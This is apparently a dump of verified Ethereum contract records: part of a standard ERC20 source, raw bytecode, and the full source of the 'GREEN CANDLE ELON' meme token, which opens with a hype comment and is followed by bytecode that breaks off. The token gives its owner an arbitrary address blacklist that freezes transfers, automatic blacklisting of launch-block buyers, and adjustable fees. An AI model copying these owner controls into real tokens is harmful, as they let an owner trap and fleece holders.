require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _afterTokenTransfer( address from,address to,uint256 amount) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806340c10f19146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113f0565b60405180910390f35b610132600480360381019061012d91906111a7565b6103b4565b60405161013f91906113d5565b60405180910390f35b6101506103d2565b60405161015d9190611552565b60405180910390f35b610180600480360381019061017b9190611154565b6103dc565b60405161018d91906113d5565b60405180910390f35b61019e6104dd565b6040516101ab919061156d565b60405180910390f35b6101ce60048036038101906101c991906111a7565b6104e6565b6040516101db91906113d5565b60405180910390f35b6101fe60048036038101906101f991906111a7565b610592565b005b61021a600480360381019061021591906110e7565b61061c565b6040516102279190611552565b60405180910390f35b610238610665565b005b6102426106ed565b60405161024f91906113ba565b60405180910390f35b610260610716565b60405161026d91906113f0565b60405180910390f35b610290600480360381019061028b91906111a7565b6107a8565b60405161029d91906113d5565b60405180910390f35b6102c060048036038101906102bb91906111a7565b61089c565b6040516102cd91906113d5565b60405180910390f35b6102f060048036038101906102eb9190611114565b6108ba565b6040516102fd9190611552565b60405180910390f35b610320600480360381019061031b91906110e7565b610941565b005b606060048054610331906116b6565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906116b6565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a39565b8484610a41565b6001905092915050565b6000600354905090565b60006103e9848484610c0c565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610a39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611492565b60405180910390fd5b6104d1856104c0610a39565b85846104cc91906115fa565b610a41565b60019150509392505050565b60006012905090565b60006105886104f3610a39565b848460026000610501610a39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058391906115a4565b610a41565b6001905092915050565b61059a610a39565b73ffffffffffffffffffffffffffffffffffffffff166105b86106ed565b73ffffffffffffffffffffffffffffffffffffffff161461060e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610605906114b2565b60405180910390fd5b6106188282610e8e565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066d610a39565b73ffffffffffffffffffffffffffffffffffffffff1661068b6106ed565b73ffffffffffffffffffffffffffffffffffffffff16146106e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d8906114b2565b60405180910390fd5b6106eb6000610fef565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610725906116b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610751906116b6565b801561079e5780601f106107735761010080835404028352916020019161079e565b820191906000526020600020905b81548152906001019060200180831161078157829003601f168201915b5050505050905090565b600080600260006107b7610a39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90611512565b60405180910390fd5b61089161087f610a39565b85858461088c91906115fa565b610a41565b600191505092915050565b60006108b06108a9610a39565b8484610c0c565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610949610a39565b73ffffffffffffffffffffffffffffffffffffffff166109676106ed565b73ffffffffffffffffffffffffffffffffffffffff16146109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b4906114b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2490611432565b60405180910390fd5b610a3681610fef565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa8906114f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1890611452565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bff9190611552565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c73906114d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390611412565b60405180910390fd5b610cf78383836110b3565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590611472565b60405180910390fd5b8181610d8a91906115fa565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e1c91906115a4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e809190611552565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef590611532565b60405180910390fd5b610f0a600083836110b3565b8060036000828254610f1c91906115a4565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7291906115a4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fd79190611552565b60405180910390a3610feb600083836110b8565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b6000813590506110cc81611a26565b92915050565b6000813590506110e181611a3d565b92915050565b6000602082840312156110fd576110fc611746565b5b600061110b848285016110bd565b91505092915050565b6000806040838503121561112b5761112a611746565b5b6000611139858286016110bd565b925050602061114a858286016110bd565b9150509250929050565b60008060006060848603121561116d5761116c611746565b5b600061117b868287016110bd565b935050602061118c868287016110bd565b925050604061119d868287016110d2565b9150509250925092565b600080604083850312156111be576111bd611746565b5b60006111cc858286016110bd565b92505060206111dd858286016110d2565b9150509250929050565b6111f08161162e565b82525050565b6111ff81611640565b82525050565b600061121082611588565b61121a8185611593565b935061122a818560208601611683565b6112338161174b565b840191505092915050565b600061124b602383611593565b91506112568261175c565b604082019050919050565b600061126e602683611593565b9150611279826117ab565b604082019050919050565b6000611291602283611593565b915061129c826117fa565b604082019050919050565b60006112b4602683611593565b91506112bf82611849565b604082019050919050565b60006112d7602883611593565b91506112e282611898565b604082019050919050565b60006112fa602083611593565b9150611305826118e7565b602082019050919050565b600061131d602583611593565b915061132882611910565b604082019050919050565b6000611340602483611593565b915061134b8261195f565b604082019050919050565b6000611363602583611593565b915061136e826119ae565b604082019050919050565b6000611386601f83611593565b9150611391826119fd565b602082019050919050565b6113a58161166c565b82525050565b6113b481611676565b82525050565b60006020820190506113cf60008301846111e7565b92915050565b60006020820190506113ea60008301846111f6565b92915050565b6000602082019050818103600083015261140a8184611205565b905092915050565b6000602082019050818103600083015261142b8161123e565b9050919050565b6000602082019050818103600083015261144b81611261565b9050919050565b6000602082019050818103600083015261146b81611284565b9050919050565b6000602082019050818103600083015261148b816112a7565b9050919050565b600060208201905081810360008301526114ab816112ca565b9050919050565b600060208201905081810360008301526114cb816112ed565b9050919050565b600060208201905081810360008301526114eb81611310565b9050919050565b6000602082019050818103600083015261150b81611333565b9050919050565b6000602082019050818103600083015261152b81611356565b9050919050565b6000602082019050818103600083015261154b81611379565b9050919050565b6000602082019050611567600083018461139c565b92915050565b600060208201905061158260008301846113ab565b92915050565b600081519050919050565b600082825260208201905092915050565b60006115af8261166c565b91506115ba8361166c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115ef576115ee6116e8565b5b828201905092915050565b60006116058261166c565b91506116108361166c565b925082821015611623576116226116e8565b5b828203905092915050565b60006116398261164c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116a1578082015181840152602081019050611686565b838111156116b0576000848401525b50505050565b600060028204905060018216806116ce57607f821691505b602082108114156116e2576116e1611717565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611a2f8161162e565b8114611a3a57600080fd5b50565b611a468161166c565b8114611a5157600080fd5b5056fea2646970667358221220e9ff0065b8182b39c32c23691b75bb522e7272a38c65262b3028ee2a57e9327b64736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 6,276 |
0x0aa6bb66c5bd8e1831e31da6de957bc27b2aa5be
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
/*
https://t.me/greencandleelon
https://greencandleelon.com
Elon is one of the hero leading the cryptocurrency that brings us gigantic buy momentum!
We all love to see a gigantic lovely green candle in the chart field, but have you ever wondered why green signifies a positive meaning in the graph? The green candle elon is about to reveal the secret behind it for you!
Green Is Calming
Shades of green in nature can help put us at ease in a new place and hopefully can ease our tension when we face a new project!
Green Is Natural
Green's calming effects might result from its association with nature, which people typically experience as relaxing and refreshing. Some researchers think the positive association with green is hardwired in our brains from evolution. Early humans knew that green in nature indicated a place where they could find food, water, and shelter. Now we know Green doesn’t only signify where we could find food, water, and shelter but also potential and based project.
Green Is Motivating
Although some find green a relaxing color, others say it motivates them. Although some find green a relaxing color, others say it motivates them. I am sure everyone of us knows how motivated we could be if we could see an enormous green candle!
Now you know the secret behind green color and how it affects our psychological status! Join us and create a big green candle with The lovely green candle elon!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract GCE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "GREEN CANDLE ELON";
string private constant _symbol = "GCE";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(5);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f7578063cf0848f71461040c578063cf9d4afa1461042c578063dd62ed3e1461044c578063e6ec64ec14610492578063f2fde38b146104b257600080fd5b8063715018a61461032e5780638da5cb5b1461034357806390d49b9d1461036b57806395d89b411461038b578063a9059cbb146103b7578063b515566a146103d757600080fd5b806331c2d8471161010857806331c2d847146102475780633bbac57914610267578063437823ec146102a0578063476343ee146102c05780635342acb4146102d557806370a082311461030e57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101be57806318160ddd146101ee57806323b872dd14610213578063313ce5671461023357600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d2565b005b34801561017e57600080fd5b5060408051808201909152601181527023a922a2a71021a0a72226229022a627a760791b60208201525b6040516101b59190611948565b60405180910390f35b3480156101ca57600080fd5b506101de6101d93660046119c2565b61051e565b60405190151581526020016101b5565b3480156101fa57600080fd5b50678ac7230489e800005b6040519081526020016101b5565b34801561021f57600080fd5b506101de61022e3660046119ee565b610535565b34801561023f57600080fd5b506009610205565b34801561025357600080fd5b50610170610262366004611a45565b61059e565b34801561027357600080fd5b506101de610282366004611b0a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102ac57600080fd5b506101706102bb366004611b0a565b610634565b3480156102cc57600080fd5b50610170610682565b3480156102e157600080fd5b506101de6102f0366004611b0a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031a57600080fd5b50610205610329366004611b0a565b6106bc565b34801561033a57600080fd5b506101706106de565b34801561034f57600080fd5b506000546040516001600160a01b0390911681526020016101b5565b34801561037757600080fd5b50610170610386366004611b0a565b610714565b34801561039757600080fd5b5060408051808201909152600381526247434560e81b60208201526101a8565b3480156103c357600080fd5b506101de6103d23660046119c2565b61078e565b3480156103e357600080fd5b506101706103f2366004611a45565b61079b565b34801561040357600080fd5b506101706108b4565b34801561041857600080fd5b50610170610427366004611b0a565b61096c565b34801561043857600080fd5b50610170610447366004611b0a565b6109b7565b34801561045857600080fd5b50610205610467366004611b27565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101706104ad366004611b60565b610c12565b3480156104be57600080fd5b506101706104cd366004611b0a565b610c88565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104fc90611b79565b60405180910390fd5b6000610510306106bc565b905061051b81610d20565b50565b600061052b338484610e9a565b5060015b92915050565b6000610542848484610fbe565b610594843361058f85604051806060016040528060288152602001611cf2602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113fe565b610e9a565b5060019392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104fc90611b79565b60005b8151811015610630576000600560008484815181106105ec576105ec611bae565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611bda565b9150506105cb565b5050565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104fc90611b79565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610630573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052f90611438565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104fc90611b79565b61071260006114bc565b565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104fc90611b79565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052b338484610fbe565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016104fc90611b79565b60005b815181101561063057600c5482516001600160a01b03909116908390839081106107f4576107f4611bae565b60200260200101516001600160a01b0316141580156108455750600b5482516001600160a01b039091169083908390811061083157610831611bae565b60200260200101516001600160a01b031614155b156108a25760016005600084848151811061086257610862611bae565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ac81611bda565b9150506107c8565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016104fc90611b79565b600c54600160a01b900460ff166109425760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fc565b600c805460ff60b81b1916600160b81b17905542600d8190556109679061012c611bf3565b600e55565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016104fc90611b79565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016104fc90611b79565b600c54600160a01b900460ff1615610a495760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fc565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611c0b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b359190611c0b565b6040516001600160e01b031960e085901b16815260